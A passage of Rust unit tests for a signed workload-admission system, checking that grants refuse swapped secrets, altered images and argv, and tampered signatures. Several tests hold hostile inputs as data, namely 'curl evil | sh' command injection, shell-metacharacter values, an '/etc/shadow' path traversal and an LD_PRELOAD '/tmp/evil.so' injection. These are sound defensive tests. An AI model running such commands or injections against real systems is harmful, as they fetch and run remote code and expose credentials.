1452    /// from the matching template.
1453    fn spec_and_grant_with_a_secret() -> (WorkloadSpec, AdmissionGrant) {
1454        let mut template = template_spec();
1455        template.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1456        let grant = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1457        let mut spec = dispatched_spec();
1458        spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1459        (spec, grant)
1460    }
1461
1462    /// Reproduce what yubaba's `deploy::secret_mount::materialize_file_secrets`
1463    /// does to a spec before the backend — and therefore before kamaji's own
1464    /// admission check — sees it: the mount is gone and a read-only bind of the
1465    /// tmpfs file has taken its place.
1466    fn materialize(spec: &mut WorkloadSpec) {
1467        let ident = spec.expose.mesh.identity.0.clone();
1468        let mounts = std::mem::take(&mut spec.secrets);
1469        for m in mounts {
1470            let SecretTarget::File { path, .. } = &m.target else {
1471                spec.secrets.push(m);
1472                continue;
1473            };
1474            spec.volumes.push(VolumeMount {
1475                source: VolumeSource::Bind {
1476                    host_path: crate::secret_mount::materialized_host_path(
1477                        std::path::Path::new(crate::secret_mount::HOST_ROOT),
1478                        &ident,
1479                        path,
1480                    ),
1481                },
1482                target: path.clone(),
1483                read_only: true,
1484                from_secret_mount: true,
1485            });
1486        }
1487    }
1488
1489    #[test]
1490    fn a_grant_carries_the_secrets_it_was_cut_from() {
1491        let (_, g) = spec_and_grant_with_a_secret();
1492        assert_eq!(
1493            g.secrets,
1494            vec![GrantSecret {
1495                source: SecretRef::Cluster {
1496                    name: "r2-write".into()
1497                },
1498                path: PathBuf::from(R2_PATH),
1499                mode: 0o400,
1500            }]
1501        );
1502        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1503    }
1504
1505    #[test]
1506    fn several_secrets_round_trip_in_order() {
1507        let mut g = grant();
1508        g.secrets = vec![
1509            GrantSecret {
1510                source: SecretRef::Cluster {
1511                    name: "r2-write".into(),
1512                },
1513                path: PathBuf::from("/run/yah/r2.json"),
1514                mode: 0o400,
1515            },
1516            GrantSecret {
1517                source: SecretRef::LocalFile {
1518                    path: PathBuf::from("/var/lib/yah/yubaba/secrets/cosign"),
1519                },
1520                path: PathBuf::from("/run/yah/cosign.key"),
1521                mode: 0o400,
1522            },
1523        ];
1524        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1525    }
1526
1527    /// Why the entry is four records instead of one joined string: joining
1528    /// needs a separator, and a separator occurring inside a secret name or a
1529    /// mount path makes two different allow-lists encode identically — which
1530    /// would mean a signature over one authorizing the other.
1531    #[test]
1532    fn two_different_allow_lists_cannot_encode_the_same() {
1533        let mut a = grant();
1534        a.secrets = vec![GrantSecret {
1535            source: SecretRef::Cluster {
1536                name: "r2 /run/yah/x".into(),
1537            },
1538            path: PathBuf::from("/run/yah/r2.json"),
1539            mode: 0o400,
1540        }];
1541        let mut b = grant();
1542        b.secrets = vec![GrantSecret {
1543            source: SecretRef::Cluster { name: "r2".into() },
1544            path: PathBuf::from("/run/yah/x /run/yah/r2.json"),
1545            mode: 0o400,
1546        }];
1547        assert_ne!(a.encode(), b.encode());
1548        assert_eq!(AdmissionGrant::parse(&a.encode()).unwrap(), a);
1549        assert_eq!(AdmissionGrant::parse(&b.encode()).unwrap(), b);
1550    }
1551
1552    #[test]
1553    fn parse_refuses_a_malformed_secret_entry() {
1554        let g = {
1555            let (_, g) = spec_and_grant_with_a_secret();
1556            g
1557        };
1558        let encoded = g.encode();
1559
1560        // A source kind the verifier does not know is an error, not a guess.
1561        let bad_kind = encoded.replacen("cluster\n", "vault\n", 1);
1562        assert!(matches!(
1563            AdmissionGrant::parse(&bad_kind).unwrap_err(),
1564            GrantError::BadValue {
1565                label: "secret.source-kind",
1566                ..
1567            } | GrantError::Truncated { .. }
1568        ));
1569
1570        // A relative mount path would resolve against the container's workdir,
1571        // so what the signer authorized would depend on a field the grant
1572        // template-matches rather than compares.
1573        let relative = encoded.replacen(
1574            &format!("secret.path {}\n{R2_PATH}", R2_PATH.len()),
1575            "secret.path 8\nr2.json ",
1576            1,
1577        );
1578        assert!(AdmissionGrant::parse(&relative).is_err());
1579    }
1580
1581    #[test]
1582    fn a_declared_secret_is_admitted() {
1583        let (spec, g) = spec_and_grant_with_a_secret();
1584        g.covers(&spec).unwrap();
1585    }
1586
1587    #[test]
1588    fn a_secret_the_grant_does_not_admit_is_refused() {
1589        let mut spec = dispatched_spec();
1590        spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1591        let err = grant().covers(&spec).unwrap_err();
1592        assert!(
1593            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1594            "{err}"
1595        );
1596    }
1597
1598    /// The headline hole R555-F5 exists to close: the argv, the image and the
1599    /// env NAMES all still match the signature, and only the credential the run
1600    /// reads has been swapped.
1601    #[test]
1602    fn swapping_the_credential_under_an_admitted_mount_is_refused() {
1603        let (mut spec, g) = spec_and_grant_with_a_secret();
1604        spec.secrets = vec![cluster_mount("cosign-signing-key", R2_PATH, 0o400)];
1605        let err = g.covers(&spec).unwrap_err();
1606        assert!(
1607            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1608            "{err}"
1609        );
1610        assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1611    }
1612
1613    /// Mode is in the signed body, so widening it is a different grant.
1614    #[test]
1615    fn loosening_the_file_mode_is_refused() {
1616        let (mut spec, g) = spec_and_grant_with_a_secret();
1617        spec.secrets = vec![cluster_mount("r2-write", R2_PATH, 0o444)];
1618        assert!(g.covers(&spec).is_err());
1619    }
1620
1621    #[test]
1622    fn an_env_target_secret_mount_is_refused_rather_than_admitted() {
1623        let env_mount = SecretMount {
1624            source: SecretRef::Cluster {
1625                name: "r2-write".into(),
1626            },
1627            target: SecretTarget::EnvVar {
1628                name: "R2_TOKEN".into(),
1629            },
1630        };
1631        let mut template = template_spec();
1632        template.secrets.push(env_mount.clone());
1633        // Signing one produces a grant that does not cover it, so the refusal
1634        // is reachable at signing time and not only on the node.
1635        let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1636        assert!(g.secrets.is_empty());
1637
1638        let mut spec = dispatched_spec();
1639        spec.secrets.push(env_mount);
1640        let err = g.covers(&spec).unwrap_err();
1641        assert!(
1642            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1643            "{err}"
1644        );
1645    }
1646
1647    /// The second half of the same hole: `env_names` admits `R2_TOKEN`, and the
1648    /// VALUE selects which secret is read.
1649    #[test]
1650    fn an_env_var_resolved_from_a_secret_is_refused_even_when_its_name_is_admitted() {
1651        let mut template = template_spec();
1652        template.env.push(EnvVar {
1653            name: "R2_TOKEN".into(),
1654            value: EnvValue::Literal {
1655                value: "placeholder".into(),
1656            },
1657        });
1658        let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1659        assert!(g.env_names.contains(&"R2_TOKEN".to_string()));
1660
1661        let mut spec = dispatched_spec();
1662        spec.env = vec![EnvVar {
1663            name: "R2_TOKEN".into(),
1664            value: EnvValue::FromSecret {
1665                secret: "cosign-signing-key".into(),
1666                key: "seed".into(),
1667            },
1668        }];
1669        let err = g.covers(&spec).unwrap_err();
1670        assert!(matches!(&err, AdmissionError::Mismatch { field: "env", .. }), "{err}");
1671        assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1672    }
1673
1674    // ── the yubaba rewrite (R555-F5) ─────────────────────────────────────────
1675
1676    /// kamaji checks the spec AFTER yubaba has turned the mount into a bind.
1677    /// Without this, a signed recipe that uses a secret is refused by the bind
1678    /// rule with a message about a forge state root it never asked for.
1679    #[test]
1680    fn the_materialized_bind_yubaba_injects_is_admitted() {
1681        let (mut spec, g) = spec_and_grant_with_a_secret();
1682        materialize(&mut spec);
1683        assert!(spec.secrets.is_empty(), "materialization consumes the mount");
1684        assert_eq!(spec.volumes.len(), 2, "produced dir + the secret bind");
1685        g.covers(&spec).unwrap();
1686    }
1687
1688    #[test]
1689    fn a_materialized_bind_for_another_workloads_ident_is_refused() {
1690        let (mut spec, g) = spec_and_grant_with_a_secret();
1691        materialize(&mut spec);
1692        // Same container path, same grant — but the host file belongs to the
1693        // ingress workload's secret dir.
1694        for v in &mut spec.volumes {
1695            if let VolumeSource::Bind { host_path } = &mut v.source {
1696                if host_path.starts_with(crate::secret_mount::HOST_ROOT) {
1697                    *host_path = crate::secret_mount::materialized_host_path(
1698                        std::path::Path::new(crate::secret_mount::HOST_ROOT),
1699                        "ingress",
1700                        std::path::Path::new(R2_PATH),
1701                    );
1702                }
1703            }
1704        }
1705        let err = g.covers(&spec).unwrap_err();
1706        assert!(
1707            matches!(&err, AdmissionError::Mismatch { field: "volumes", .. }),
1708            "{err}"
1709        );
1710    }
1711
1712    #[test]
1713    fn a_writable_bind_at_an_admitted_secret_path_is_refused() {
1714        let (mut spec, g) = spec_and_grant_with_a_secret();
1715        materialize(&mut spec);
1716        for v in &mut spec.volumes {
1717            if v.target == PathBuf::from(R2_PATH) {
1718                v.read_only = false;
1719            }
1720        }
1721        assert!(g.covers(&spec).is_err());
1722    }
1723
1724    #[test]
1725    fn a_secret_bind_the_grant_never_admitted_is_refused() {
1726        let mut spec = dispatched_spec();
1727        let ident = spec.expose.mesh.identity.0.clone();
1728        spec.volumes.push(VolumeMount {
1729            source: VolumeSource::Bind {
1730                host_path: crate::secret_mount::materialized_host_path(
1731                    std::path::Path::new(crate::secret_mount::HOST_ROOT),
1732                    &ident,
1733                    std::path::Path::new(R2_PATH),
1734                ),
1735            },
1736            target: PathBuf::from(R2_PATH),
1737            read_only: true,
1738            from_secret_mount: true,
1739        });
1740        // The grant here declares no secrets at all: the exemption is keyed on
1741        // the allow-list, not on the path shape.
1742        assert!(grant().covers(&spec).is_err());
1743    }
1744
1745    // ── encoding ─────────────────────────────────────────────────────────────
1746
1747    #[test]
1748    fn encode_parse_round_trips() {
1749        let g = grant();
1750        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1751    }
1752
1753    #[test]
1754    fn encode_survives_a_value_containing_a_newline() {
1755        // A `bash -c` recipe step routinely embeds one; the length prefix is
1756        // what makes that need no escaping.
1757        let mut g = grant();
1758        g.argv = vec!["bash".into(), "-c".into(), "set -e\necho hi\n".into()];
1759        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1760    }
1761
1762    #[test]
1763    fn absent_workdir_round_trips_distinctly_from_an_empty_one() {
1764        let mut absent = grant();
1765        absent.workdir = None;
1766        let mut empty = grant();
1767        empty.workdir = Some(String::new());
1768        assert_ne!(absent.encode(), empty.encode());
1769        assert_eq!(AdmissionGrant::parse(&absent.encode()).unwrap(), absent);
1770        assert_eq!(AdmissionGrant::parse(&empty.encode()).unwrap(), empty);
1771    }
1772
1773    #[test]
1774    fn parse_rejects_a_foreign_document() {
1775        assert_eq!(
1776            AdmissionGrant::parse("yah-admission-grant/v3\n").unwrap_err(),
1777            GrantError::BadMagic
1778        );
1779    }
1780
1781    /// R555-F5 bumped the format to v2 (the `secret` allow-list). A v1 document
1782    /// must be refused at the magic line — the version skew is the whole reason
1783    /// the magic doubles as a version, and "refuses loudly" is the only safe
1784    /// answer when the missing field is the one that says what may be read.
1785    #[test]
1786    fn a_v1_grant_is_refused_rather_than_read_as_granting_no_secrets() {
1787        let v1 = grant().encode().replacen(GRANT_MAGIC, "yah-admission-grant/v1", 1);
1788        assert_eq!(AdmissionGrant::parse(&v1).unwrap_err(), GrantError::BadMagic);
1789    }
1790
1791    #[test]
1792    fn parse_rejects_trailing_bytes() {
1793        let text = format!("{}{}", grant().encode(), "extra");
1794        assert!(matches!(
1795            AdmissionGrant::parse(&text).unwrap_err(),
1796            GrantError::Trailing(5)
1797        ));
1798    }
1799
1800    #[test]
1801    fn parse_rejects_a_reordered_record() {
1802        let text = grant().encode().replacen("recipe ", "tier ", 1);
1803        assert!(matches!(
1804            AdmissionGrant::parse(&text).unwrap_err(),
1805            GrantError::UnexpectedLabel { .. }
1806        ));
1807    }
1808
1809    #[test]
1810    fn parse_rejects_a_length_that_does_not_match_its_value() {
1811        let text = grant().encode().replacen("recipe 13\n", "recipe 99\n", 1);
1812        assert!(matches!(
1813            AdmissionGrant::parse(&text).unwrap_err(),
1814            GrantError::Truncated { .. }
1815        ));
1816    }
1817
1818    // ── template matching ────────────────────────────────────────────────────
1819
1820    #[test]
1821    fn a_template_without_holes_is_compared_verbatim() {
1822        assert!(template_matches("/app/quantize", "/app/quantize"));
1823        assert!(!template_matches("/app/quantize", "/app/quantize2"));
1824    }
1825
1826    #[test]
1827    fn holes_accept_the_values_the_materialize_path_substitutes() {
1828        assert!(template_matches(
1829            "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1830            "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1831        ));
1832    }
1833
1834    #[test]
1835    fn a_hole_may_not_break_out_of_the_quoting_the_recipe_wrote() {
1836        // The whole security argument for matching templates rather than
1837        // literals: a param that closes the author's quote and appends a
1838        // command must not be an instantiation of the template.
1839        assert!(!template_matches(
1840            "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1841            "build-v8.sh 'x86'; curl evil | sh; echo '' '/yah/produced/a.out'",
1842        ));
1843        for hostile in [
1844            "a$(id)b", "a`id`b", "a;id", "a|id", "a&id", "a>f", "a<f", "a\\b", "a\nb",
1845        ] {
1846            assert!(!hole_is_safe(hostile), "{hostile:?} must not be a safe hole");
1847        }
1848    }
1849
1850    #[test]
1851    fn a_hole_may_not_traverse_out_of_the_directory_it_names() {
1852        assert!(!template_matches(
1853            "cp '{{YAH_TRANSFORM_OUT}}'",
1854            "cp '/yah/produced/../../etc/shadow'",
1855        ));
1856    }
1857
1858    #[test]
1859    fn a_trailing_hole_consumes_the_rest() {
1860        assert!(template_matches("prefix-{{x}}", "prefix-value"));
1861        assert!(!template_matches("prefix-{{x}}", "nope-value"));
1862        assert!(!template_matches("prefix-{{x}}", "prefix-va;lue"));
1863    }
1864
1865    #[test]
1866    fn an_unterminated_placeholder_is_literal_text() {
1867        // Mirrors `substitute_argv`, which preserves an unterminated `{{`
1868        // verbatim — so a template containing one is compared verbatim too.
1869        assert!(template_matches("echo {{oops", "echo {{oops"));
1870        assert!(!template_matches("echo {{oops", "echo anything"));
1871    }
1872
1873    // ── coverage ─────────────────────────────────────────────────────────────
1874
1875    #[test]
1876    fn a_grant_covers_the_dispatch_it_was_cut_for() {
1877        grant().covers(&dispatched_spec()).unwrap();
1878    }
1879
1880    #[test]
1881    fn a_swapped_image_is_not_covered() {
1882        let mut spec = dispatched_spec();
1883        spec.image.digest = format!("sha256:{}", "0".repeat(64));
1884        assert!(matches!(
1885            grant().covers(&spec).unwrap_err(),
1886            AdmissionError::Mismatch { field: "image", .. }
1887        ));
1888    }
1889
1890    #[test]
1891    fn a_swapped_tag_on_the_same_digest_is_not_covered() {
1892        // The digest is the identity, but the tag rides in the payload too:
1893        // re-tagging is a provenance change the grant's author did not sign.
1894        let mut spec = dispatched_spec();
1895        spec.image.tag = "latest".into();
1896        assert!(matches!(
1897            grant().covers(&spec).unwrap_err(),
1898            AdmissionError::Mismatch { field: "image", .. }
1899        ));
1900    }
1901
1902    #[test]
1903    fn an_appended_argv_element_is_not_covered() {
1904        let mut spec = dispatched_spec();
1905        spec.command.as_mut().unwrap().push("; curl evil | sh".into());
1906        assert!(matches!(
1907            grant().covers(&spec).unwrap_err(),
1908            AdmissionError::Mismatch { field: "argv", .. }
1909        ));
1910    }
1911
1912    #[test]
1913    fn a_rewritten_argv_literal_is_not_covered() {
1914        let spec = forge_spec(&["evil.sh 'x86_64-unknown-linux-musl' '/yah/produced/a.out'"]);
1915        assert!(matches!(
1916            grant().covers(&spec).unwrap_err(),
1917            AdmissionError::Mismatch { field: "argv", .. }
1918        ));
1919    }
1920
1921    #[test]
1922    fn an_unlisted_env_var_is_not_covered() {
1923        // LD_PRELOAD is code injection that touches neither image nor argv,
1924        // which is exactly why env names are in the payload.
1925        let mut spec = dispatched_spec();
1926        spec.env.push(EnvVar {
1927            name: "LD_PRELOAD".into(),
1928            value: EnvValue::Literal {
1929                value: "/tmp/evil.so".into(),
1930            },
1931        });
1932        assert!(matches!(
1933            grant().covers(&spec).unwrap_err(),
1934            AdmissionError::Mismatch { field: "env", .. }
1935        ));
1936    }
1937
1938    #[test]
1939    fn a_listed_env_var_is_covered_whatever_its_value() {
1940        let mut template = template_spec();
1941        template.env.push(EnvVar {
1942            name: "YAH_PRODUCED_DIR".into(),
1943            value: EnvValue::Literal { value: "".into() },
1944        });
1945        let g = AdmissionGrant::from_spec("r", &template);
1946        let mut spec = dispatched_spec();
1947        spec.env.push(EnvVar {
1948            name: "YAH_PRODUCED_DIR".into(),
1949            value: EnvValue::Literal {
1950                value: "/var/lib/yah/qed/produced/abc123".into(),
1951            },
1952        });
1953        g.covers(&spec).unwrap();
1954    }
1955
1956    #[test]
1957    fn an_ungranted_nested_sandbox_request_is_not_covered() {
1958        let mut spec = dispatched_spec();
1959        spec.annotations.insert(
1960            crate::NESTED_SANDBOX_ANNOTATION.into(),
1961            crate::NESTED_SANDBOX_VALUE.into(),
1962        );
1963        assert!(matches!(
1964            grant().covers(&spec).unwrap_err(),
1965            AdmissionError::Mismatch {
1966                field: "nested-sandbox",
1967                ..
1968            }
1969        ));
1970    }
1971
1972    #[test]
1973    fn requesting_less_privilege_than_granted_is_covered() {
1974        // Implication, not equality — a spec that drops host networking is
1975        // still within what the author vouched for.
1976        let mut spec = dispatched_spec();
1977        spec.annotations.remove(crate::HOST_NETWORK_ANNOTATION);
1978        grant().covers(&spec).unwrap();
1979    }
1980
1981    #[test]
1982    fn a_bind_mount_outside_the_forge_state_root_is_not_covered() {
1983        // The one execution-determining field the grant cannot enumerate (the
1984        // produced dir is per-run), so it is bounded structurally instead.
1985        let mut spec = dispatched_spec();
1986        spec.volumes.push(VolumeMount {
1987            source: VolumeSource::Bind {
1988                host_path: PathBuf::from("/etc"),
1989            },
1990            target: PathBuf::from("/host-etc"),
1991            read_only: false,
1992            from_secret_mount: false,
1993        });
1994        assert!(matches!(
1995            grant().covers(&spec).unwrap_err(),
1996            AdmissionError::Mismatch {
1997                field: "volumes",
1998                ..
1999            }
2000        ));
2001    }
2002
2003    #[test]
2004    fn a_native_exec_spec_is_not_covered_by_a_container_grant() {
2005        let mut spec = dispatched_spec();
2006        spec.annotations.insert(
2007            crate::NATIVE_EXEC_ANNOTATION.into(),
2008            crate::NATIVE_EXEC_VALUE.into(),
2009        );
2010        assert!(matches!(
2011            grant().covers(&spec).unwrap_err(),
2012            AdmissionError::Mismatch {
2013                field: "runtime",
2014                ..
2015            }
2016        ));
2017    }
2018
2019    #[test]
2020    fn a_microvm_spec_is_not_covered_by_a_container_grant() {
2021        // R605-F8. The direction here is the counter-intuitive one and is
2022        // deliberate: a microVM is a *stronger* boundary than the container the
2023        // grant admits, and it is still refused. A grant states the runtime it
2024        // was cut for, and "stronger, therefore close enough" is exactly the
2025        // reasoning that makes a signed statement stop meaning anything — the
2026        // fix is to re-sign for `microvm`, not to widen the comparison.
2027        let mut spec = dispatched_spec();
2028        spec.annotations.insert(
2029            crate::NATIVE_EXEC_ANNOTATION.into(),
2030            crate::MICROVM_EXEC_VALUE.into(),
2031        );
2032        assert!(matches!(
2033            grant().covers(&spec).unwrap_err(),
2034            AdmissionError::Mismatch {
2035                field: "runtime",
2036                ..
2037            }
2038        ));
2039    }
2040
2041    #[test]
2042    fn a_microvm_grant_round_trips_through_the_signing_encoding() {
2043        // The parse arm is the one that can silently rot: `as_str` writes
2044        // "microvm" and `parse` has to know it, or every microVM grant becomes
2045        // an unverifiable BadValue the moment it is read back.
2046        let mut spec = dispatched_spec();
2047        spec.annotations.insert(
2048            crate::NATIVE_EXEC_ANNOTATION.into(),
2049            crate::MICROVM_EXEC_VALUE.into(),
2050        );
2051        let cut = AdmissionGrant::from_spec("forge", &spec);
2052        assert_eq!(cut.runtime, GrantRuntime::MicroVm);
2053
2054        let back = AdmissionGrant::parse(&cut.encode()).expect("parse round-trip");
2055        assert_eq!(back.runtime, GrantRuntime::MicroVm);
2056        back.covers(&spec).expect("a microvm grant covers its own spec");
2057    }
2058
2059    #[test]
2060    fn a_tier_escalation_is_not_covered() {
2061        let mut spec = dispatched_spec();
2062        spec.tier = TierTag("tenant".into());
2063        assert!(matches!(
2064            grant().covers(&spec).unwrap_err(),
2065            AdmissionError::Mismatch { field: "tier", .. }
2066        ));
2067        // And the mesh identity is untouched by any of this — the grant says
2068        // nothing about which forge run this is, on purpose.
2069        assert_eq!(spec.expose.mesh.identity, MeshIdent("forge.abc123".into()));
2070    }
2071
2072    #[test]
2073    fn policy_parse_rejects_a_typo_rather_than_falling_back() {
2074        assert_eq!(Policy::parse("required").unwrap(), Policy::Required);
2075        assert_eq!(Policy::parse(" permissive ").unwrap(), Policy::Permissive);
2076        assert_eq!(Policy::parse("disabled").unwrap(), Policy::Disabled);
2077        assert!(Policy::parse("Required").is_err());
2078        assert!(Policy::parse("on").is_err());
2079        assert_eq!(Policy::default(), Policy::Permissive);
2080    }
2081
2082    #[test]
2083    fn image_ref_string_is_stable_and_pins_the_digest() {
2084        assert_eq!(image_ref_string(&image()), format!("{IMAGE}:v149.4.0@{DIGEST}"));
2085    }
2086}
2087
2088#[cfg(all(test, feature = "admission-verify"))]
2089mod verify_tests {
2090    use super::tests::{dispatched_spec, grant};
2091    use super::*;
2092
2093    fn key() -> ed25519_dalek::SigningKey {
2094        ed25519_dalek::SigningKey::from_bytes(&[7u8; 32])
2095    }
2096
2097    fn public_hex(k: &ed25519_dalek::SigningKey) -> String {
2098        hex::encode(k.verifying_key().to_bytes())
2099    }
2100
2101    /// A dispatched spec carrying a genuine grant signed by `key()`.
2102    fn signed_dispatch() -> (WorkloadSpec, Vec<String>) {
2103        let k = key();
2104        let g = grant();
2105        let encoded = g.encode();
2106        let sig = sign_grant(&encoded, &k);
2107        let pk = public_hex(&k);
2108        let mut spec = dispatched_spec();
2109        attach(&mut spec, &encoded, &sig, &pk);
2110        (spec, vec![pk])
2111    }
2112
2113    #[test]
2114    fn a_signed_dispatch_is_admitted() {
2115        let (spec, trusted) = signed_dispatch();
2116        admit(&spec, Policy::Permissive, &trusted).unwrap();
2117        admit(&spec, Policy::Required, &trusted).unwrap();
2118    }
2119
2120    #[test]
2121    fn an_unsigned_workload_passes_permissive_and_fails_required() {
2122        let spec = dispatched_spec();
2123        admit(&spec, Policy::Permissive, &[]).unwrap();
2124        assert!(matches!(
2125            admit(&spec, Policy::Required, &[]).unwrap_err(),
2126            AdmissionError::GrantRequired { .. }
2127        ));
2128    }
2129
2130    #[test]
2131    fn the_nested_sandbox_widening_always_needs_a_grant() {
2132        // W235 §Reshaping's ordering constraint ("B2's widening is defensible
2133        // only once F4's admission gate exists"), enforced by code rather than
2134        // by sequencing discipline: permissive is not permissive about THIS.
2135        let mut spec = dispatched_spec();
2136        spec.annotations.insert(
2137            crate::NESTED_SANDBOX_ANNOTATION.into(),
2138            crate::NESTED_SANDBOX_VALUE.into(),
2139        );
2140        assert!(matches!(
2141            admit(&spec, Policy::Permissive, &[]).unwrap_err(),
2142            AdmissionError::GrantRequired { .. }
2143        ));
2144        // ...and `disabled` is the one escape hatch that turns it off.
2145        admit(&spec, Policy::Disabled, &[]).unwrap();
2146    }
2147
2148    #[test]
2149    fn a_native_spec_carrying_the_widening_is_kamajis_shape_refusal_not_ours() {
2150        // Both markers set is an INCOHERENT spec — the widening is an OCI
2151        // capability set and a fork+exec workload has no OCI spec — so kamaji
2152        // refuses the pair with a message that explains that (R577-T1). If
2153        // admission claimed it first, the operator would get "not admitted" for
2154        // a spec whose actual problem is that it asks for something that cannot
2155        // exist. There is no privilege to protect, so we step aside.
2156        let mut spec = dispatched_spec();
2157        spec.annotations.insert(
2158            crate::NESTED_SANDBOX_ANNOTATION.into(),
2159            crate::NESTED_SANDBOX_VALUE.into(),
2160        );
2161        spec.annotations.insert(
2162            crate::NATIVE_EXEC_ANNOTATION.into(),
2163            crate::NATIVE_EXEC_VALUE.into(),
2164        );
2165        admit(&spec, Policy::Permissive, &[]).unwrap();
2166        // `required` still requires — the exception narrows the unconditional
2167        // rule, it does not punch a hole in the policy.
2168        assert!(matches!(
2169            admit(&spec, Policy::Required, &[]).unwrap_err(),
2170            AdmissionError::GrantRequired { .. }
2171        ));
2172    }
2173
2174    #[test]
2175    fn an_untrusted_key_is_refused_before_any_crypto_runs() {
2176        let (spec, _) = signed_dispatch();
2177        assert!(matches!(
2178            admit(&spec, Policy::Permissive, &["ff".repeat(32)]).unwrap_err(),
2179            AdmissionError::UntrustedKey { .. }
2180        ));
2181    }
2182
2183    #[test]
2184    fn required_with_no_pinned_keys_refuses_everything() {
2185        // Pinning nothing means trusting nothing. An operator who flips a node
2186        // to `required` without configuring keys gets a loud outage, not a
2187        // quiet no-op gate.
2188        let (spec, _) = signed_dispatch();
2189        assert!(matches!(
2190            admit(&spec, Policy::Required, &[]).unwrap_err(),
2191            AdmissionError::UntrustedKey { .. }
2192        ));
2193    }
2194
2195    #[test]
2196    fn a_signature_from_a_different_key_does_not_verify() {
2197        let other = ed25519_dalek::SigningKey::from_bytes(&[9u8; 32]);
2198        let g = grant();
2199        let encoded = g.encode();
2200        let mut spec = dispatched_spec();
2201        // Claim the trusted key while signing with another one.
2202        attach(
2203            &mut spec,
2204            &encoded,
2205            &sign_grant(&encoded, &other),
2206            &public_hex(&key()),
2207        );
2208        assert!(matches!(
2209            admit(&spec, Policy::Permissive, &[public_hex(&key())]).unwrap_err(),
2210            AdmissionError::SignatureMismatch
2211        ));
2212    }
2213
2214    #[test]
2215    fn widening_the_grant_after_signing_does_not_verify() {
2216        // The R710-S1 failure mode, checked directly: take a legitimately
2217        // signed grant and flip the privilege bit it vouches for.
2218        let (mut spec, trusted) = signed_dispatch();
2219        let tampered = spec
2220            .annotations
2221            .get(GRANT_ANNOTATION)
2222            .unwrap()
2223            .replace("nested-sandbox 5\nfalse\n", "nested-sandbox 4\ntrue\n");
2224        spec.annotations
2225            .insert(GRANT_ANNOTATION.into(), tampered.clone());
2226        assert!(tampered.contains("nested-sandbox 4\ntrue"));
2227        assert!(matches!(
2228            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2229            AdmissionError::SignatureMismatch
2230        ));
2231    }
2232
2233    #[test]
2234    fn tampering_with_the_spec_under_a_valid_signature_is_caught_by_coverage() {
2235        // The signature still verifies — nothing about the grant changed — so
2236        // this is the check that `covers` exists for.
2237        let (mut spec, trusted) = signed_dispatch();
2238        spec.command = Some(vec!["curl evil | sh".into()]);
2239        assert!(matches!(
2240            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2241            AdmissionError::Mismatch { field: "argv", .. }
2242        ));
2243    }
2244
2245    #[test]
2246    fn a_partial_annotation_set_is_an_error_not_an_absence() {
2247        // Stripping the signature must not read as "unsigned, let it through".
2248        let (mut spec, trusted) = signed_dispatch();
2249        spec.annotations.remove(GRANT_SIGNATURE_ANNOTATION);
2250        assert!(matches!(
2251            admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2252            AdmissionError::Incomplete {
2253                missing: GRANT_SIGNATURE_ANNOTATION
2254            }
2255        ));
2256    }
2257
2258    #[test]
2259    fn disabled_admits_a_workload_with_a_broken_grant() {
2260        let (mut spec, _) = signed_dispatch();
2261        spec.annotations
2262            .insert(GRANT_SIGNATURE_ANNOTATION.into(), "not-hex".into());
2263        admit(&spec, Policy::Disabled, &[]).unwrap();
2264    }
2265}
2266
2267#[cfg(all(test, feature = "admission-verify"))]
2268mod node_posture_tests {
2269    use super::*;
2270
2271    #[test]
2272    fn unset_is_permissive_with_no_keys() {
2273        let n = NodeAdmission::from_vars(None, None);
2274        assert_eq!(n.policy, Policy::Permissive);
2275        assert!(n.trusted_keys.is_empty());
2276    }
2277
2278    #[test]
2279    fn a_typo_fails_closed_to_required() {
2280        // The whole point: setting the variable and having it silently ignored
2281        // is the failure mode an operator cannot detect.
2282        assert_eq!(
2283            NodeAdmission::from_vars(Some("Required"), None).policy,
2284            Policy::Required
2285        );
2286        assert_eq!(
2287            NodeAdmission::from_vars(Some("yes"), None).policy,
2288            Policy::Required
2289        );
2290    }
2291
2292    #[test]
2293    fn keys_are_split_trimmed_and_emptied() {
2294        let n = NodeAdmission::from_vars(Some("required"), Some(" aa , bb ,, "));
2295        assert_eq!(n.policy, Policy::Required);
2296        assert_eq!(n.trusted_keys, vec!["aa".to_string(), "bb".to_string()]);
2297    }
2298}